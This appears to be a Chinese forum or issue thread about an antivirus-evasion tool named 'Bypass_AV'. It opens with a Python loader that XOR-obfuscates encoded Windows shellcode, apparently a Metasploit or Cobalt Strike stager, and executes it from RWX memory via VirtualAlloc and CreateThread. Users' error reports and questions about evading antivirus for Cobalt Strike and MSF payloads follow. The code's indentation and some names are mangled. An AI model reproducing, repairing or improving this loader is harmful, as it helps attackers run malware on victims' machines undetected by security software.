运行import base64
import random
import ctypes

def decode(shell_code,keys):
shell_code_base64 = ''
random.seed(keys)
code = shell_code.split(',')
for item in code:
item = int(item)
shell_code_base64 += chr(item ^ random.randint(0, 255))
return shell_code_base64

def fs_decode(funcs):
fs_keys = '123'
func_codes = ''
random.seed(fs_keys)
func_code = funcs.split(',')
for item in func_code:
item = int(item)
func_codes += chr(item ^ random.randint(0, 255))
return func_codes

def encode(ShellCode,keys):
random.seed(keys)
ShellCode_2 = ''
for item in ShellCode:
ShellCode_2 += str(ord(item) ^ random.randint(0, 255)) + ','
ShellCode_2 = ShellCode_2.strip(',')
return ShellCode_2

def run(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
funcs = '70,208,133,111,226,123,113,146,231,30,133,20,54,203,71,77,230,234,182,55,207,108,203,231,232,79,137,160,182,180,203,54,84,167,78,235,21,203,131,209,183,25,202,144,179,84,168,137,158,181,33,136,154,102,166,98,8,179,139,242,251,26,1,178,19,125,22,209,56,51,119,41,229,118,164,182,74,178,157,53,248,183,48,58,66,179,109,168,30,182,106,60,119,170,147,57,73,4,41,221,62,148,2,9,60,188,167,47,194,232,35,141,240,193,78,169,122,86'
func = fs_decode(funcs)
exec(func)
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

if name == 'main':
ShellCode = ''' "\x2f\x4f\x69\x50\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x64"
"\x4a\x6b\x69\x31\x49\x77\x69\x31\x49\x4d\x69\x31\x49\x55"
"\x4d\x66\x38\x50\x74\x30\x6f\x6d\x69\x33\x49\x6f\x4d\x63"
"\x43\x73\x50\x47\x46\x38\x41\x69\x77\x67\x77\x63\x38\x4e"
"\x41\x63\x64\x4a\x64\x65\x39\x53\x56\x34\x74\x53\x45\x49"
"\x74\x43\x50\x41\x48\x51\x69\x30\x42\x34\x68\x63\x42\x30"
"\x54\x41\x48\x51\x55\x49\x74\x49\x47\x49\x74\x59\x49\x41"
"\x48\x54\x68\x63\x6c\x30\x50\x44\x48\x2f\x53\x59\x73\x30"
"\x69\x77\x48\x57\x4d\x63\x43\x73\x77\x63\x38\x4e\x41\x63"
"\x63\x34\x34\x48\x58\x30\x41\x33\x33\x34\x4f\x33\x30\x6b"
"\x64\x65\x42\x59\x69\x31\x67\x6b\x41\x64\x4e\x6d\x69\x77"
"\x78\x4c\x69\x31\x67\x63\x41\x64\x4f\x4c\x42\x49\x73\x42"
"\x30\x49\x6c\x45\x4a\x43\x52\x62\x57\x32\x46\x5a\x57\x6c"
"\x48\x2f\x34\x46\x68\x66\x57\x6f\x73\x53\x36\x59\x44\x2f"
"\x2f\x2f\x39\x64\x61\x44\x4d\x79\x41\x41\x42\x6f\x64\x33"
"\x4d\x79\x58\x31\x52\x6f\x54\x48\x63\x6d\x42\x34\x6e\x6f"
"\x2f\x39\x43\x34\x6b\x41\x45\x41\x41\x43\x6e\x45\x56\x46"
"\x42\x6f\x4b\x59\x42\x72\x41\x50\x2f\x56\x61\x67\x70\x6f"
"\x43\x49\x7a\x45\x72\x47\x67\x43\x41\x44\x66\x30\x69\x65"
"\x5a\x51\x55\x46\x42\x51\x51\x46\x42\x41\x55\x47\x6a\x71"
"\x44\x39\x2f\x67\x2f\x39\x57\x58\x61\x68\x42\x57\x56\x32"
"\x69\x5a\x70\x58\x52\x68\x2f\x39\x57\x46\x77\x48\x51\x4b"
"\x2f\x30\x34\x49\x64\x65\x7a\x6f\x5a\x77\x41\x41\x41\x47"
"\x6f\x41\x61\x67\x52\x57\x56\x32\x67\x43\x32\x63\x68\x66"
"\x2f\x39\x57\x44\x2b\x41\x42\x2b\x4e\x6f\x73\x32\x61\x6b"
"\x42\x6f\x41\x42\x41\x41\x41\x46\x5a\x71\x41\x47\x68\x59"
"\x70\x46\x50\x6c\x2f\x39\x57\x54\x55\x32\x6f\x41\x56\x6c"
"\x4e\x58\x61\x41\x4c\x5a\x79\x46\x2f\x2f\x31\x59\x50\x34"
"\x41\x48\x30\x6f\x57\x47\x67\x41\x51\x41\x41\x41\x61\x67"
"\x42\x51\x61\x41\x73\x76\x44\x7a\x44\x2f\x31\x56\x64\x6f"
"\x64\x57\x35\x4e\x59\x66\x2f\x56\x58\x6c\x37\x2f\x44\x43"
"\x51\x50\x68\x58\x44\x2f\x2f\x2f\x2f\x70\x6d\x2f\x2f\x2f"
"\x2f\x77\x48\x44\x4b\x63\x5a\x31\x77\x63\x4f\x37\x38\x4c"
"\x57\x69\x56\x6d\x6f\x41\x55\x2f\x2f\x56"'''
keys = 'Axx8'
shell_code = encode(ShellCode.replace('"', '').replace('\n', ''),keys)
shellcode = decode(shell_code,keys)
shellcode = base64.b64decode(shellcode)
run(shellcode)
后报错Traceback (most recent call last):
File "", line 198, in _run_module_as_main
File "", line 88, in _run_code
File "C:\Users\吴振南\Downloads\Bypass_AV-main\Bypass_AV-main\Bypass_AV.py", line 81, in
run(shellcode)
File "C:\Users\吴振南\Downloads\Bypass_AV-main\Bypass_AV-main\Bypass_AV.py", line 38, in run
exec(func)
File "", line 1, in
OSError: exception: access violation reading 0x00001000

运行这个pyinstaller -F -w Bypass_AV.py
提示：
AttributeError: 'NoneType' object has no attribute 'groups'
（QAQ）

cs的shellcode如何做免杀呢？

您好，可以用raw格式的shellcode吗

2022.12.3用这个生成的免杀MSF shellcode，用生成的exe放到装火绒的机子里已经开始报毒了>_<